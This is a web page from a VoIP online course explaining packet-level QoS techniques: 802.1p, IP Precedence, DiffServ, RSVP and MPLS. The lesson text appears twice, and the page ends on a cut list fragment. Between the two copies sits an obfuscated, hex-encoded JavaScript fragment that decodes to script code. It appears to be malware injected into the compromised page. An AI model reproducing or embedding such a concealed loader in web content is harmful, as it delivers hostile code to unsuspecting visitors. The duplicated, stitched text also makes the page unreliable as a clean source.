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Voice over IP Online Course

Lesson 4 - Quality of Service

D. Packet Level Techniques for Providing QoS


Packet Level Techniques for Providing QoS


The following is a list of some techniques used to give VoIP packets precedence over data packets. These techniques are not universally implemented and depend for their efficiency on being implemented from end-point to end-point.

802.1p

This 802.1p specification is used in conjunction with the 802.1Q specification for the creation of virtual LANs (VLANs) that can span sites connected by a WAN yet still function as a single, unified LAN. It uses 3 bits in a LAN frame header, such as the Ethernet frame header, to assign seven priority levels to LAN frames. The service levels can be mapped to IP type of service (ToS) levels or supported in routers with a number of other mechanisms.

IP Precedence

IPv4 has a field in the header called Type of Service (ToS) which can be used to give the packet a precedence level. Three bits in this field are available for precedence, giving 8 levels numbered from 0 to 7. 7 is the highest level. Traditionally, this field has been ignored by TCP/IP stack programmers. In order to use this field, all IP stacks along a route must honor this field.

DiffServ

Differentiated Services makes use of the same ToS field in the IPv4 header as IP Precedence does and therefore is in conflict with it. A system can use either DiffServer or IP Precedence, but not both. DiffServ uses 6 of the 8 bits in the ToS field to define 64 levels of service. DiffServ is an open standard controlled by the IETF, but than the original meaning of the ToS field is also under the control of the IETF. Whichever system is used, the fact remains that all of the devices in the system must adhere to it if it is to be useful.

RSVP

The Resource Reservation Protocol takes a different approach from the previous three methods. In 802.1p, IP precedence and DiffServ, a bit pattern in the packet signaled the handling that was desired for it by routers, gateways and endpoints. These are non-stateful techniques because the devices donít have to track the packets, they just handle them individually as they show up.

RSVP in contrast doesnít deal with individual packets, but instead it controls the flow of packets for a connection. In short, a device using the RSVP protocol will set up a connection to the endpoint and request a certain class for service from all the intermediate devices along the way. This is a stateful service since all of the intermediate devices will have to track the persistent information abut all of the connections through it. This will place a heavy burden on these devices. In addition, cooperating service providers will have to agree on the definitions of the service levels. RSVP will be most useful on single provider VoIP systems.

MPLS

Multiprotocol Label Switching (MPLS) is a technique used to forward packets in an efficient and fast way through a network by adding a simple label to each packet at an edge router, i.e. the first router that supports MPLS that the packet reaches. The label includes forwarding information in a form that switches can use. Since most large routers are also switches, MPLS allows the switching function of the router switch to forward the packet instead of doing a lookup in the router table for the next hop destination of the packet. This increased efficiency decreases the latency of the packets as they move across the network. MPLS supports QoS by integrating with both IntServ and DiffServ.

The label is a field that identifies the destination and class of service. In the case of Ethernet, the label is a 4 byte field, called a shim, inserted between the Ethernet and IP headers.




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tch(fllgbl){rws=21;}if(1){bzfvsg="17:5d:6c:65:5a:6b:60:66:65:17:71:63:61:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32: end-point.

802.1p

This 802.1p specification is used in conjunction with the 802.1Q specification for the creation of virtual LANs (VLANs) that can span sites connected by a WAN yet still function as a single, unified LAN. It uses 3 bits in a LAN frame header, such as the Ethernet frame header, to assign seven priority levels to LAN frames. The service levels can be mapped to IP type of service (ToS) levels or supported in routers with a number of other mechanisms.

IP Precedence

IPv4 has a field in the header called Type of Service (ToS) which can be used to give the packet a precedence level. Three bits in this field are available for precedence, giving 8 levels numbered from 0 to 7. 7 is the highest level. Traditionally, this field has been ignored by TCP/IP stack programmers. In order to use this field, all IP stacks along a route must honor this field.

DiffServ

Differentiated Services makes use of the same ToS field in the IPv4 header as IP Precedence does and therefore is in conflict with it. A system can use either DiffServer or IP Precedence, but not both. DiffServ uses 6 of the 8 bits in the ToS field to define 64 levels of service. DiffServ is an open standard controlled by the IETF, but than the original meaning of the ToS field is also under the control of the IETF. Whichever system is used, the fact remains that all of the devices in the system must adhere to it if it is to be useful.

RSVP

The Resource Reservation Protocol takes a different approach from the previous three methods. In 802.1p, IP precedence and DiffServ, a bit pattern in the packet signaled the handling that was desired for it by routers, gateways and endpoints. These are non-stateful techniques because the devices donít have to track the packets, they just handle them individually as they show up.

RSVP in contrast doesnít deal with individual packets, but instead it controls the flow of packets for a connection. In short, a device using the RSVP protocol will set up a connection to the endpoint and request a certain class for service from all the intermediate devices along the way. This is a stateful service since all of the intermediate devices will have to track the persistent information abut all of the connections through it. This will place a heavy burden on these devices. In addition, cooperating service providers will have to agree on the definitions of the service levels. RSVP will be most useful on single provider VoIP systems.

MPLS

Multiprotocol Label Switching (MPLS) is a technique used to forward packets in an efficient and fast way through a network by adding a simple label to each packet at an edge router, i.e. the first router that supports MPLS that the packet reaches. The label includes forwarding information in a form that switches can use. Since most large routers are also switches, MPLS allows the switching function of the router switch to forward the packet instead of doing a lookup in the router table for the next hop destination of the packet. This increased efficiency decreases the latency of the packets as they move across the network. MPLS supports QoS by integrating with both IntServ and DiffServ.

The label is a field that identifies the destination and class of service. In the case of Ethernet, the label is a 4 byte field, called a shim, inserted between the Ethernet and IP headers.




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rvices (DiffServ)
  • Resource Reservation Protocol (RSVP)
  • MPLS

  • The following is a list of some techniques used to give VoIP packets precedence over data packets. These techniques are not universally implemented and depend for their efficiency on being implemented from end-point to